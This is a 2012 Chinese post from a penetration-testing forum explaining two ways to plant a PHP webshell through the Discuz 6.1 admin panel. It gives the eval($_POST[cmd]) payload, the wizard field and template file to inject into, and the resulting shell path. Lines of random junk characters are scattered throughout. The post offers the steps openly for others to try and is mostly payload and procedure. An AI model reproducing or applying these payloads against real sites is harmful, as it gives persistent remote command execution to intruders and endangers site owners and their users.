中国网络渗透测试联盟
标题:
discuz6.1后台拿shell方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:59
标题:
discuz6.1后台拿shell方法
discuz6.1两种方法后台拿shell
8 W9 R8 e8 T3 m5 D3 o$ @) D6 p5 V! _
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
* m/ k4 f/ F9 q( i
1:
: i( W* g4 b% Q1 Q$ ~
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
) k6 e, a7 F( \4 i' |; W# f
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
7 ^! y a3 `8 `1 H2 i9 ?, q) @
<?php eval($_POST[cmd]);?>
- o: n+ C% ?/ H: _
后台webshell地址：
http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
& p. k8 j% m1 Q# m; U# i
& Z* E+ {8 D9 P& Z" u8 X+ ^* P7 \
, G( r7 k' W l7 R `
2:后台模板管理--默认模板套系--详情
# a$ i5 K2 C1 y3 |& N$ k
templates/default/actions.lang.php
! b$ G, j, E, v1 d: a0 t g: ~
jhackj\\');eval($_POST[cmd])?>;//
* U. E; X* \+ ?) y$ ]7 |* R* w
+ o6 N0 Z1 g' H0 l1 y9 i4 w) j
利用很简单,聪明的人一看就懂了
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2